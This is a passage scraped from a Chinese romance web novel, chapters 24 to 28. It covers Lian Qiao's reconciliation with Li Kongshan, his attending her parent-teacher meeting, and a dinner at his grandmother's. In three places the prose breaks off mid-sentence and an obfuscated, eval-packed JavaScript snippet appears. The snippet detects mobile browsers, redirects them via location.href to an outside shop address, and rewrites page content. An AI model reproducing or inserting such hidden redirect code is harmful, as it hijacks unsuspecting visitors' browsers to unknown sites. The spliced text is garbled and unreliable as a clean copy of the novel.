他叮嘱连翘,“别再让他喝酒了。你们慢慢聊,把问题说开了就好,我哥这人就是刀子嘴豆腐心,他要是说得难听,你可千万那个别往心里去。” “知道。放心。” 连翘点点头,目送小海离开后,就找了个位置坐下。 虽坐在李空山身边,但两个人还是隔着些距离。 她像李空山一样,直视着前方挂在河面之上的月亮。 连翘把手交叉环在膝盖上,目光很柔和。 李空山偷偷瞄了眼她,心想,她既然都来找自己道歉了,居然还一直不开口,真是过分。 连翘似乎并不着急,两个人之间保持了很久的沉默以后,她才开始出声。 “李空山,我知道你在生我的气。” 她偏头看着身旁的少年,“对不起,我确实骗了你,差点伤到你的奶奶,确实是我不对,但我并没想伤害你们,可当初,我只有这么做,才能去赌一赌,赌你会留下。” “是。” 李空山两手撑在身后,微仰着脑袋,轻狂又随意。 “敢情你就是把我当垫脚石呗,甩掉田永贵以后,再找一个供你读书供你住的白痴。在你眼里,我就是跟傻子工具一样吧,你讹我钱,我还傻傻送上去。” “不是这样的。” 连翘注视着李空山,目光很坚定,“我从来没有把你当工具当傻子,你愿意收留我,供我上学,让我的生活过得好,不用羡慕别人,我是打心眼里感谢你的。你做的一切我都记得,你在我眼里,是这个世界上最好的人。” 李空山傲慢又气鼓鼓地偏头看着身旁的女孩,“真心话?” 连翘毫不犹豫,眼神真挚而诚恳,“真心话。” “那——” 李空山想了想,傲娇地仰头望着挂在天边的弯月,“你以后还会不会再骗我?” 他紧接着补充一句:“我的意思是,我知道每个人都有自己的目的,有想要实现目的的野心、方式、方法,你可以骗别人,但是你不可以骗我,除非我和别人没什么区别。” 连翘举起发誓的手,笑容恬淡,言辞诚恳,“那你可听好了。连翘在这里发誓,从此以后,我绝对不会欺骗李空山,如若失信,则一辈子睡不好觉!” 少年傲娇,故作冷漠地盯着她:“理由?” 连翘凑近些,在李空山脸侧轻语,笑容恬淡,“因为啊,李空山对我来说,是这个世界上最特别的人。这个世界上不会再有第二个李空山,而我,是这世界上最幸运、能与这唯一的李空山相伴的人。” “谁跟你相伴了。” 李空山虽然听得很开心,但还是爱嘴硬,“我那顶多只能算是稍稍收留你。” “是是是。”连翘肯定地接上他说的话,“你说什么就是什么,你说的都对。” 她扬起恬淡的笑容,凑到李空山眼前,满眼期盼,“李空山,那你现在还生我的气吗?” 李空山长叹一声,直视着正前方,“这个嘛——” 他瞄一眼身旁的女孩,“不说好,除非你答应明天给我做麻辣小龙虾。” “没问题,我准了。” 连翘浅浅笑着,挽住李空山的手臂,靠在他的肩膀上,声音平稳,“你也是个笨蛋,我怎么会耍你呢?我从来都没有耍你,我对你的所有,都是认真的。” 她的许诺,他全当了真。 只有她自己知道,她的许诺,仅仅只在今夜作数。 25. 第 25 章 李空山笑了笑,不说话,他望着天上的月亮,真希望时间能永远停留在此刻,或者过得慢一点,再慢一点。 连翘闻了闻,突然放开李空山的手坐直。 李空山看她:“怎么了?” 连翘变得严肃,“李空山,这满地儿的酒不会都是你喝的吧?难怪你一身的酒味儿!” 他有些心虚,但并不怕,心高气傲,“是我喝的,怎么了?可以吧,都能知道我酒量有多好了,喝这么多都没倒。” 连翘站起来,握住李空山的手腕,想要拉他一起站起,“李空山,你给我起来,赶紧跟我一起回家醒酒去,我给你熬点醒酒汤喝。” “哎,慢点儿慢点儿。” 李空山依她站起,“你想让我和你一起回去就直说呗,想我了就直说呗,还非要找什么醒酒汤这种不像样的理由。” 他笑得很纯粹,即便此刻是漫漫长夜里,但依旧像阳光热烈,像少女童话故事里的骑士。 “先声明啊,我李空山可从来不需要喝醒酒汤这种玩意儿,身体素质杠杠的。” 为了证明,他用手捶了几下自己的胸脯,配合自己刚才所说的话,得意地暗示连翘,“怎样,哥可以吧。” “可以可以。你最可以了。”连翘搀扶着李空山,好心好意,没有揭穿他此刻步子都是晃的这一事实。 李空山心满意足,浅浅一笑。 两人沿着台阶往上走,从小坡上的马路走回去。 道路两侧的路灯光线很暗,一看就是当时镇上修路灯时,没什么钱,建的劣质路灯。 微弱的灯光打在两个人的身上,拉长他们的影子,照亮他们脚下昏暗的路。 李空山伸出手揽住连翘的肩,跌跌撞撞,任由连翘搀扶着自己往前走,他看上去很开心,像个容易满足的孩子。 “连翘,车羽羽,尧尧……你是我的连翘翘,我的车羽羽,我的……” 醉意熏人,李空山顿了下,闭着眼,乐呵呵补上最后一句:“尧尧。” * 总算到家了。 一路上,李空山都不安分,稀里糊涂地说一大堆话,连翘一路哄,才把他哄上楼。 把李空山安顿好以后,连翘便跑到厨房去熬醒酒汤。 这玩意儿她以前没弄过,不过她听说过院子里的婶婶说怎么弄——先把苹果和橙子切块,一起冷水下锅,等到水煮沸以后,在加一点点点老冰糖,这期间需要煮十分钟左右,把汤盛出来,放凉以后再加点蜂蜜,一碗醒酒汤基本就完成了。 连翘在厨房里忙活了十几分钟才出来。 等她端着醒酒汤走出来时,李空山依旧和刚回来时一样,安安分分地躺在床上,怀里抱着连翘陪睡的西瓜玩偶。 “李空山,喝汤啦。” 连翘把醒酒汤放好,扶着李空山坐起,并顺手抢走了昏昏欲睡的李空山怀里的玩偶。 “你坏。” 感觉到怀中空落落的,闭着眼睛昏沉沉的李空山傲娇地抱怨一声,随后侧过身子,一把将连翘抱住。 连翘愣住,一动不敢动。 他现在昏昏沉沉的,自己干了什么都不太清楚,总之,脑子就是不算清醒。 一手揽住她的后背,一手环住她的腰,李空山像一只温顺的小狗,趴在连翘的肩头。 “车羽羽,我头晕,尧尧……想吐……” 就像找到什么软绵绵的、温暖的抱枕似儿的,李空山舒服又满意地用头去蹭连翘的下巴,嘴角轻轻上扬,笑眯眯地去更加贴紧她。 就这样持续了十几秒,连翘低下头,用手轻轻去拍李空山的后背,“李空山,喝汤啦,你先把汤喝完好不好?” 见李空山没有抗拒,连翘轻轻把李空山拉开,单独倚靠着自己的右颈窝,左手去拿放柜子上的汤。 她动作轻轻的,小心翼翼舀起一勺又一勺给李空山喂下。 好在李空山还算顺从,每一口都听话地喝了下去。 李空山的呼吸萦绕在她脖子间,勾得连翘痒痒的,她蓦然想起几天前给李空山擦身子的那天夜晚。 * 第二天一大早,李空山醒来发现连翘已经去上学了,扫视一圈屋子以后,才意识到昨天晚上都发生了什么。 抱连翘的这件事他没什么印象,但他清楚地记得两个人在台阶上时都说了些什么。 李空山情不自禁扬起一抹笑,肯定地点头:“车羽羽,尧尧,翘翘,连翘……” 他这人没别的爱好,就爱给人起小名儿。 还好周围没其他人,不然一定以为李空山傻了,笑得这么开心。 李空山放学的时候去接连翘,发现她手里拿着一张纸条,一直盯着它发呆,可等她一见到李空山,就连忙把纸条放到身后挡住。 “干什么?遮遮掩掩怕我看见,啥东西?” 李空山偏要看。 他绕过连翘,一把抢走她手里的东西,大声念出来:“家长会邀请函……尊敬的家长们,我们诚挚邀请您于本周五下午到校参加家长会,届时,我们将向您介绍学生们的学习情况,为您的陪读出谋划策……” 他大概懂了什么意思,把邀请函放下来,“原来就是一家长会啊,我还以为什么不能给我看的呢。” “给我吧。” 连翘不动声色,摊出手向李空山要回邀请函。 李空山指着邀请函正中央的几个大字,“看见没,家长会,我是你家长,这东西本来就得给我。” 连翘:“……” “李空山,你算哪门子家长,你又不是我哥,更不是我爸。” 他偏要逞强,“我算半个不行啊。” 李空山推着自行车往前走,连翘走在李空山的身边。 她看着李空山,不急不慢说:“李空山,其实你不用勉强自己的,我的家长会从来就没人去,我都习惯了。” “从来都没人去?那你不怕别人在背后说你闲话?” 连翘无所谓说:“说就说呗,早就习惯了。他们无非就说我是个没爹没妈,没人要的人,不配来到这世上,反正都没人关心。” “但是你别担心,我从来都不在乎,从来都不在意的。”意识到李空山一直在盯着自己,连翘又补充了一句。 他声音淡淡的,心情似乎有些沉重,“就算你不在意,难道你就不会失落吗?别人的座位上都有人,唯独你的座位上没有,这种对比不可能不让你感到失落。” 李空山虽然不爱读书,但以前好歹也在学校待过。 以前开家长会的时候,奶奶腿脚不利索,他坚持不让奶奶去,而别人的座位上都来了自己的爸爸或妈妈,唯独自己的座位是空着的。 那张凳子从来没人坐。 他懂这是什么滋味。 人总是会情不自禁去比较。 “我决定了,这周五的家长会我来参加,你说什么都没用啊。” “可是……” 连翘看着信誓旦旦的李空山,有些迟疑。 李空山以为连翘在担心他是勉强了自己,恣意开口,满脸自信,“你放心,这是我自愿的,我李空山贼喜欢当人家长,给人开家长会。” 连翘不知所措地望着李空山,“你好像误会了……我指的是……可你去的话,要以什么身份呢?” “还能是什么,你哥呗。周五,我当你半天的哥,放心跟哥走,哥罩着你。” 他拍着胸脯保证,得意地冲连翘挑了下眉,自信又得意。 连翘笑了,这李空山开始学会把他用在他那些兄弟上的那一套用在她身上了是吧。 * 不知不觉就到了周五的家长会。 李空山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是,李空山把话堵了回去,他冷冷笑了笑,“呵,是吗,那恭喜你啊。” 大叔也没怎么搭理李空山旁边的人,和李空山单独聊起距离高考还有半年,学生的饮食应该注意些什么。 然而,那人又插话进来。 “我跟你们说啦,我们家可是相当注重我妹每天的营养和健康的啦,但是呢,这些都还用不着我们操心,因为我们家特地请了一个营养师来管理我妹的一日三餐。毕竟我们普通人再怎么研究,还是不如营养师专业啦。” “哦,对了,请一个营养师可不便宜哦,一个月要好几千呢。” 李空山:“……” 若不是在公共场合,他真想把耳朵堵上。 不过,令李空山和大叔更加想不到的是,这人还能更欠:“你看看你们身上也没个值钱的东西,一看就是请不起保姆营养师的。” “我tm……” 忍无可忍的李空山直接站了起来。 大叔连忙把他拉住,打断他的话:“小伙子!别冲动!” 穿金戴银处处都要彰显自己高调的男人晃了晃自己的手,好让灯光下的金手镯显得更加耀眼,“哎呀——我可听说班主任马上就来了,要是家长都不明白的话,学生怕得被同班同学笑话一辈子吧?” “你有种跟我打一架啊。” 被大叔强行拉回坐下的李空山放低声音盯着旁边的男人威胁。 男人虽然哎炫耀,但他瞄了眼李空山,发现好像不是什么好惹的货色,立刻收回目光,“我可不跟你一般见识,毕竟我是文明人。” “切。” 李空山端着手臂,别开脑袋,摆出一副臭脸。 26. 第 26 章 “不好意思我来晚了,刚刚在整理同学们这几次模拟考试的成绩。” 新换的班主任是个胖胖的中年女人,戴着一副红框眼镜,穿着的红裙子被肉挤变形,不过嘴角总是挂着笑,看上去是个喜欢直来直往的人。 “各位家长下午好,我先自我介绍下啊,我叫何曼,是孩子们的班主任,教的是英语。非常欢迎各位家长今天的到来,接下来呢,我将根据同学们这几次的成绩和家长们说下我的想法。” “当然,我也非常欢迎给家长和我沟通交流,毕竟,孩子们的进步是我们都想看到的对吧!” 李空山端着手臂,面无表情地盯着班主任在讲台上叽里呱啦地说一大堆。 来之前,他有想过家长会可能有点无聊,但他是真没想到——这家长会这么无聊啊! 算了,为了车羽羽,为了他的尧尧,他忍。 时间一分一秒过去……李空山撑在桌子上,差点睡过去。 一看就是以前上学的时候没少趴桌子上睡觉。 班主任即将准备宣读各位学生的成绩——这是她之前提前告知过学生们的。 为的就是激励班上的同学,让他们打起十二分精神,不要在所有家长面前丢脸。 所以,班主任说到做到。 炫耀男假装不小心,踢了下李空山的座位,举手站起来说:“老师,报告!有家长在打瞌睡!” 整个教室瞬间鸦雀无声,所有人的目光朝李空山这边看来。 被动静吵醒的李空山注意到这么多人的目光,僵硬一笑,挥手打圆场,“抱歉啊,各位,你们继续。” 班主任咳了咳,缓解气氛,“好的,刚才出现点小状况,天气热,容易疲惫,我们都理解,那我就继续宣读同学们的成绩了哈。” 李空山恶狠狠地盯着旁边的男人,“臭垃圾!你给我等着!” 炫耀男嘚瑟地闭眼摊手,模样嚣张极了。 “夏怦,年级第三,总分599。” 随着班主任念出这一句,炫耀男嘚瑟地朝李空山挑了下眉,“不好意思啊,这我妹。” 李空山呵呵一笑,别开脸,再也不看他一眼。 “连翘,年级第一,总分635。” 随着这话一出,教室里所有家长都不约而同鼓掌,雷鸣般的掌声响彻于耳。 “哎呀。”李空山站了起来,朝四周致谢,高调又得意,“这我妹,谢谢,谢谢啊。” 坐下的时候,李空山还特意看了眼黑了脸的炫耀男,神情比他还要嘚瑟十万倍。 “没办法啊,承让了,我家连翘就是这么不一样,直接就是第一,而不是某人说的什么,没掉出过前五。” 不过李空山的确也很意外,连翘成绩这么好还一声不说? 真是低调。 家长会散场的时候,李空山走在走廊上,班主任叫住了他。 “家长你好,如果我没记错的话,你就是连翘的哥哥吧?” “对啊,我是。” 李空山坦坦荡荡地侧身,准备倾听班主任要说什么。 “是这样的。前不久我在班上宣布说我要在家长会上宣读所有人的成绩后,连翘就私下来找我,问我是不是真的。得到我的回答以后,她的眼神就变得不一样了,充满期许和干劲儿,我想——应该是想向你证明她很棒吧。” “我问她这次有没有人来帮她开家长会,她说她回去问问。” “连翘这孩子其实很刻苦,咱们这所镇上的高中,教育资源本就来比不上城里的孩子,像连翘这样真心想读书还愿意努力的孩子,可能几年都很难有一个。能把成绩提到六百多分,还能长期保持,作为连翘的老师,我也为她感到骄傲呢。” 老师和蔼笑着,看着李空山,继续往下说:“暑假过后,距离高考就还有半个学期,我也希望你能给学生多一点支持,平时在生活里多鼓励鼓励她。我呢,相信连翘最后一定能够考出她最理想的的成绩,完成她的目标的。” “知道。老师,谢谢你啊。” 李空山明白这是班主任的肺腑之言,便也放下一贯的架子,诚恳地向她道谢。 “好,没事。”总是喜欢把笑容挂在脸上的班主任对李空山说,“我要说的就这些,如果你还有事的话,就先走吧。” “好。” 李空山看了眼前方的楼梯口,“那我就先走了啊,连翘在学校有啥事老师你记得给我打电话通知我。” “好,没问题。” 李空山往前走了几步,班主任突然叫住他:“不过我猜——你应该也不是连翘的哥哥吧?她看你的眼神并不像看哥哥。” 李空山顿住,停下脚步,回头看了眼,“那你觉得像什么?” 班主任笑笑:“像生命里很重要的人。” * 连翘坐在校门口对面的榕树花坛上等李空山。 期间,她听到路过的同班同学谈论着他。 “你们刚才走的时候看见没,我们班上来了个好帅的帅哥,也不知道是谁家的,好可惜,我也想和帅哥做家人,天天看那张帅脸。” 旁边的人推她:“你少做梦了,别看人家长得帅就在这儿做梦,以前我去过隔壁镇,见过这个人。据说啊——他是那边的一个小混混,好像叫……李空山,早都没读书了,混天度日来着呢。” “那怎么了,也不妨碍人家长得帅啊。” “可是这种混混以后能有啥出息啊,帅归帅,靠不靠得住又是另外一回事了。” 连翘低头看着手里刚买的两瓶水,神情没多大变化。 现在目的已经达到了,她也不会在众目睽睽之下做出和之前一样的举动——当场驳回任何诋毁李空山的话。 只要不太过分。 保持沉默才是她的本性。 但这并不代表她同意刚才所听到的那些话。 李空山是个怎样的人、以后会不会有出息,不是她们说了算。 李空山也只是为了自己而活的李空山,不是为了他人看法而活的李空山。 她想——只要她相信李空山会越来越好便足够了。 “在想什么呢。” 绕到连翘背后,李空山出其不意,轻轻拍了下她的脑袋。 “你呀,刚刚看你一直低着头发呆,想什么这么专注?” 意外又诧异的连翘站起转身,冲李空山扬起一抹笑,“你来啦。” “给我买的?谢谢啊。” 李空山看见她手里买的水,一把拿过来拧开,朝嘴里灌了几口。 连翘浅浅笑着,“怎么样,还顺利吗?” “顺利,当然顺利。”李空山自信地看着连翘,“我出马你还不放心?” “放心,当然放心了。”连翘跟着李空山一块儿往回走。 李空山忍不住开口,“我说连翘翘啊,你也真是能忍,考得那么好还一点儿都不炫耀,要换做是我,早就挨家挨户去嘚瑟了。” 想了想,李空山又说,“哦,不对,这不太可能,毕竟我这种不爱读书的人,是不可能有这一天的。” 连翘笑了笑,“就当我给你的一个惊喜呀。对了——”她看向李空山,“如果有机会,我是说如果,李空山,你会愿意回到学校重新读书吗?” “不可能!” 李空山斩钉截铁:“你认识我这么久了,还不了解我吗,我这人从头到尾就不是一块读书的料,读书这种玩意儿,真不适合我。” “也是。” 连翘眉眼柔和,偏头看着李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165884|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空山。 玉兰花的花瓣掉落在地面,和昨夜大风刮落下的树叶混杂在一起,两个人的脚步逐一落在这条花叶铺满的小道上,周围的瓦房清幽而宁静。 “李空山,那你可得答应我,如果有人说你坏话,你千万不能听他们的,你要永远相信自己,做一个永远骄傲恣意、勇敢无畏的你。” “还用你说。” 李空山眼神格外肯定,从头到脚都透露着少年的自信和恣意。“哥包你满意。” * 李空山带着连翘坐大巴车去了市里,两人走进一家书店。 连翘感到疑惑,看着琳琅满目的书籍,“你带我来这儿做什么?” 李空山把手摊开,“这还不够明显吗,当然是买书咯。” 他朝刚结账完的老板喊道:“老板,你们店里哪些是高三的复习资料啊,捎我看看呗。” “好嘞,这就来——” 老板领着李空山和连翘到不远处的陈列架去,“你们可以慢慢挑,这些全是高三巩固和冲刺阶段的资料,全是最新上市的,语文的、数学的、英语的、化学的……应有尽有。” “好,谢谢啊。”李空山随后拿起一本书翻了翻,但里面的内容对他来说就跟天文数字似儿的不想看,他情不自禁走起了眉头,把资料书甩给连翘。 “算了算了,这些玩意儿我不了解,你看看你觉得哪些是对你有用的,咱今天就买回去。” 连翘把书放下,“不行,李空山,你今天这么反常肯定是受了什么刺激。这些书我不买,每本都不便宜,会花好大一笔钱的,再说了,我也用不上。” 李空山端着手臂,靠在墙角,“哎,打住,你又想糊弄我?” 他摆出一副很在行的样子,“别以为我不知道啊,你们这个阶段就是需要买资料书做做题啥的,你放心,这些花不了多少钱,我有钱。” 连翘叹了一口气,“可是李空山,你已经在我身上花了很多钱了。” 李空山得意地挑眉,“哟,咋的,你还怕以后还不起我是不是?” 他让连翘朝向书架,好让她挑选。 “你放心,这些不用记账上,算我送你的。毕竟今天你班主任当着那么多人宣读成绩的时候,也给我长了不少脸呢。” 连翘盯着李空山的脸沉默了。她怎么会不知道在家长会上长脸从来就不是他所在意的呢,这不过是一个借口、幌子而已。 李空山见女孩还在犹豫,急了,说:“你还想不想考好大学?想就赶紧给我选!” 连翘抿嘴。 一种莫名的情绪萦绕在她心头,盘旋得令她难过、不舍。 她以后该怎么去遗忘这个口是心非的李空山对自己的好呢? * 从书店买完书以后,李空山又带着连翘去一家饮品店,给她买来她最喜欢的口味的饮品——芒果奶昔。 “来,拿着。” 李空山把奶昔塞到连翘手里,“以前没怎么带你来玩儿,还挺可惜的,刚好到夏天了,等你放暑假,我再带你来。” 两个人走在去车站的路上,李空山顺手给她指了指斜对面正在建造的一家商场,“你看那个,以前这里还没开发出来的时候,我跟楼巩还有小海特别喜欢到这里玩。” 说到这儿,李空山得意的劲儿又犯了,装模作样地摸了下后脖子,拉长声音感叹道:“哎,可能我这人天生自带光芒吧,小时候他俩就爱跟着我混,长大了也是。” “是是是,就你有能耐。” 连翘捧着手里的奶昔,感觉心里甜蜜蜜的,她笑着看向提着一大袋汇重重的书本的李空山,落日的余晖倒映在远处的天边。 那一刹那,连翘多么希望以后还能和李空山拥有很多个这样的瞬间。 27. 第 27 章 小海拿着电话跑到李空山家里,说是邱炀找李空山,但一直打他电话都没人接。 “哥!” 小海慌慌张张跑上楼的时候,连翘正好在给李空山换药。 李空山后腰中刀的伤口比较深,一直还没彻底愈合。他弓着背,掀起后背的衣物,配合连翘给伤口换药。 小海一看到这过于“暧昧”的场面,即刻转身,蒙住双眼,“哥!我真不是故意的,我不知道我来得不是时候!” 李空山一愣一愣地挪开目光,看向身后的连翘,“门没关?” 连翘眨巴眼睛,“忘了。” 他挑挑眉:“那把闲杂人等赶出去?” 她拧紧药盒:“好啦,别逗他了,你俩有正事就说,我先去把洗好的衣服晾好。” “好。” 李空山放下衣尾,若无其事站起,从冰箱里拿出两瓶连翘自制的柠檬水,“行了,小海,赶紧进来吧。” “我真可以进来?” 小海探出脑袋,好奇又小心翼翼。 李空山沉默了一下,心里在笑,表面装作快要不耐烦:“你到底有完没完?” 听到李空山这样的语气,小海知道,那他肯定是当真的。 他乐呵呵进来,把手机拿给李空山,“哥,邱炀哥找你呢,一直打你电话没人接。” “哦……”李空山若无其事回应,“我手机没电关机着呢,他找我什么事?” 小海把手机递给李空山,“电话还通着,你跟邱炀哥说吧。” 小孩自己也不知道邱炀找李空山到底什么事。 李空山无所谓地从小海手里接过手机,“喂?你找我啊?干啥啊?这么着急。” 电话那头,邱炀刚下班回来,打开水龙头冲手,用毛巾把手擦干,语气中带着责备,“李空山,你这小子可以啊,最近越来越不把我放在眼里了,连电话也不知道给我打一个。” “电话啥的都是虚的不是吗,只要我这人没把你忘记不就行了?” 面对邱炀的质询,李空山并没有显得多慌张。 他随意捻了捻自己的头发,心不在焉继续往下说:“我还不是看你这个大忙人一天天的,忙不完的事,这才想着不去打扰你。” “是是是。”邱炀学李空山敷衍起来,“寻思我还得谢谢你善解人意了是吧。可我还听说,你家里住了一个其他人?还是个女孩?” 李空山不打算否认。 他准备直接承认,然而下一秒,电话里传来邱炀那边另一个人声,声音听起来像是李空山的奶奶。 “啥!空山屋里住了人?这事儿他咋没跟我说呢!” 奶奶从邱炀手里抢走电话,对李空山说:“哪家的姑娘啊?李空山!清白人家的姑娘你可不准乱来!你俩要是真情投意合,就得对人家负责,顺便呐——带回来给奶奶我看看。” 李空山当即愣住,脸色发青,放低声音,厉声道:“邱炀!我奶奶怎么在你旁边!你赶紧给我把电话拿回去!” “行。” 邱炀傲慢地重新把手机从一脸好奇又期待的奶奶手里拿回来。 “你可别怪我回来没告诉你啊,是你自己不接电话在先的,也别怪奶奶现在知道咯。” 他摆出一副无辜又无所谓的模样,要是李空山见了,一定觉得他很欠揍。 李空山轻轻“切”了一声,“知道就知道呗,我只是没找到机会告诉我奶奶,反正她早晚都会知道。” “是,就是今晚得麻烦你把人家女孩带回来给奶奶看看了。不然——” 邱炀回头看了眼一脸期待扬起笑容眨眼睛的老太太,说:“不然奶奶可是会一直逮着我问个不停哦。” * 李空山不情愿地带着连翘一起回奶奶家吃晚饭。 坐在床上的奶奶一个阵儿地使劲劝说:“哎哟——连翘,你可别忙活了,这些活儿都交给空山他们去做吧,来,上奶奶这儿来,我好好瞧瞧。” 把地拖了一遍,又把容易积灰的柜子角落都擦了一遍,连翘把饭煮好,笑着擦干净手,走到奶奶身边坐下。 “没事,奶奶,我不累的,这些很简单。” 老太太一脸心疼又满意地打量着眼前的女孩,“哎哟,你说你咋这么懂事呢,以前肯定是吃过不少苦吧?对了,空山那臭小子有没有欺负你?他要是敢欺负你,你跟我说,我帮你教训他!” “没有的事。”连翘笑着说:“他没有欺负我,以后也不会欺负我,李空山一直都对我很好的。我还得感谢他呢,如果不是他,我就不能再继续读书啦。” “好,挺好。” 老太太一脸慈爱地看着连翘,两只长满皱纹的手紧紧裹住连翘的手,想要给予她温暖。 “就该像你这样。我以前总是跟空山说,人就得好好读书,可他就是听不进去呐。小时候我追着他满街跑,腿都快跑断了,这小子不愿意给我回家写作业。” 说到这儿,老太太笑了起来,“你是对的,孩子,我们不敢保证别人永远靠得住,只能保证自己足够强大,所以把书读好,以后的出路才能更多一条。” “空山这孩子不争气,你别学他。” 连翘灵动的眼眸颤动了下,辩驳老太太的话,“没有,他很争气的。奶奶,你不知道,李空山每天出去弄活儿收债到处跑,也很辛苦。” “好好好,辛苦,大家都辛苦。” 老太太似乎读懂了连翘维护李空山的话里的另一番意思,笑着注视连翘,“你今年多大呀?” “已经满十八了。” “啥时候满的,我咋不知道。”在另一旁帮着擦桌子的李空山突然插话进来。 “反正是之前的某一天。” 连翘不打算告诉李空山实话,免得李空山又往自己脸上贴金,在那儿多想。 因为——她恰好是在李空山遇见她的那一天,成了十八岁的大人。 饭桌上,李空山一个劲儿地给连翘夹菜。 一旁看着的邱炀忍不住给奶奶使个眼色,开始八卦:“哎哟,奶奶,你看我都认识空山多少年了,怎么也不见他给我这个哥哥夹菜呢?难道他的心已经飞出去了?” 老太太乐呵呵笑:“瞧你说的,连翘那么瘦,正是长身体的时候,就得多吃点。” 说完,老太太也给连翘碗里夹菜,乐呵呵招呼道:“连翘,你可要多吃点啊。” “好,谢谢奶奶。”连翘笑着回应。 李空山回应邱炀刚才那番话,“你也不看看你多大的人了,还想我给你夹菜?真不要脸。” “我不要脸?”邱炀的脸直接垮了下来,不服气道:“李空山!搞得好像你比我要脸一样。” 短时间内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165885|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李空山突然找不到什么话去反驳他。因为邱炀说的确实是事实,他的不要脸,暂时没几个人能超越。 “对了。”李空山想起正事,询问邱炀,“你怎么突然跑回来?厂子里没事?” “我特地请个假回来看看奶奶。” 邱炀看向老太太,像个孩子般撒娇:“你不想奶奶,我还想呢。是吧奶奶。” “哎哟,是是是。好孩子。” 老太太面容慈爱,扭头又对一脸带气儿的李空山说:“别往心里去,你个傻小子不会还当真了吧,要知道啊,你邱炀哥是特地回来看你的。他担心你,想知道你最近情况怎么样。” “真的假的,我咋不太相信呢。” 李空山无所谓地吃饭。 邱炀盯他一眼:“可以嘛,居然被你看出来了,确实不是特地回来看你的。” “你!”李空山不屑地盯着邱炀,邱炀则像个赖皮鬼似儿的给他做鬼脸。 * 回去的路上,连翘问李空山,“邱炀是你的哥哥吗?可你们并不是同一个姓,关系还很好。” “我跟他关系好?你没看错吧?” 李空山不以为意,一边往前,懒散走,一边开口:“他不是我哥,但胜似我哥,打小起他就一直很照顾我,奶奶也把他当做亲外孙疼。虽然他现在去外面打拼了,但我们这儿永远是他的家。” “都这么发自内心,还说关系不好?”连翘笑笑,犹豫过后,问李空山:“我听奶奶说你有个哥哥,他现在人在哪儿?你们有联系吗?” “早都没联系了。” 李空山看上去满不在乎,但连翘却透过他的眼睛窥见了他淡淡的想念和遗憾。 “小的时候,我们这儿人贩子很猖狂,他不知道被拐到什么地方去了,至今都没他的下落。他被拐走的时候我还小,也就两三岁的样子吧,所以那个时候的事儿,我也记不太清。” “你哥哥叫什么名字?” 这个问题倒是问到了李空山,他想了半天,才从脑海里拼凑出几个疑似的字:“好像是李什么瀛?东南西北分不清了,反正不是李西瀛就是李东瀛。” 远处,小海气喘吁吁朝连翘和李空山跑来。 他们走在通往小镇的路上,跨过这座桥,就算正式进入小镇的范围。 “干啥啊你,一天天的累成这样。” 李空山扶住累得不成样子的小海,从容而淡定。 小海一路跑过来,为的就是赶紧通知李空山,“哥,出事了,外面到处在传连翘的流言蜚语,她那学校都快传疯了。” “我?” 站在李空山身旁的连翘迷茫而无辜地指了指自己,她能有什么事?还被大张旗鼓地传成这样? 小海站直,顺口气,好好地说:“有人传连翘和他们学校的一个男的……搞、搞在一起了,说什么他们每天晚上都偷摸到学校操场后面的小树林去……去亲嘴儿。” “啥,亲嘴儿?” 小海来只不过想把这件事告诉李空山,但本着作为李空山兄弟的本分,他还得说点客观的话,“哥,我觉得这事儿看上去就很扯淡,肯定是有人故意在那儿瞎传,我觉得我们就不能信!” 李空山沉默地注视小海,没有看她,一个字儿都不说。 连翘也并不去解释、反驳,而是问李空山:“你信吗?” 28. 第 28 章 “信啊,当然信,怎么不信?这不就是事实嘛,还有什么可说的。” 连翘默不作声盯了李空山几秒,随后转身走了,李空山看得一清二楚,她的背影充斥着气愤和失落。 他不知所以然地看看小海,漫不经心问道:“她咋走了?我说错话了吗?” 小海怎么都想不明白李空山刚刚怎么那样说,实在太伤人了! 他懊恼问道:“哥,你咋不相信连翘呢?你跟她一起生活这么久了,你觉得她可能是那种人吗?她不解释不反驳,肯定就是想听你说相信她啊。” 慷慨激昂,小海神情看上去很是惋惜。 李空山摸不着头脑,微眯眼睛,同样懊恼纳闷:“不是,我啥时候说我不相信她了?” 小海:“她不是问你相不相信传出来的那件事嘛。” 李空山:“?” 他略微迟疑,后知后觉,一本正经开口,“哈?她不是问我相不相信她?” 小海:“你这样理解的?” “不然呢?” * 李空山有模有样地边走边分析,越说越生气:“我说小海!你别替她解释了!依我看!她这么一走了之,肯定是心虚!正常人怎么都会多问两句,她就这么走了,不是心虚还能是什么?她绝对是偷偷跟人亲了嘴儿,不敢面对我!” “你再替她狡辩,信不信我把你扔河里去!” “哥啊——” 李空山越走越快,小海必须不断地加快脚步,才能勉强追上他。那段时间里,小海感觉自己两脚几乎快要擦出火花。 “不能像你这么理解。” 气喘吁吁的小海一路小跑,迂回在李空山身侧。“哥,你跟连翘一起生活这么久,难道她什么性子你还不知道吗?她不是那种爱多说废话的人,她只想抓住问题的核心,直截了当。这不,刚刚那件事的核心就是你相不相信她呗。” 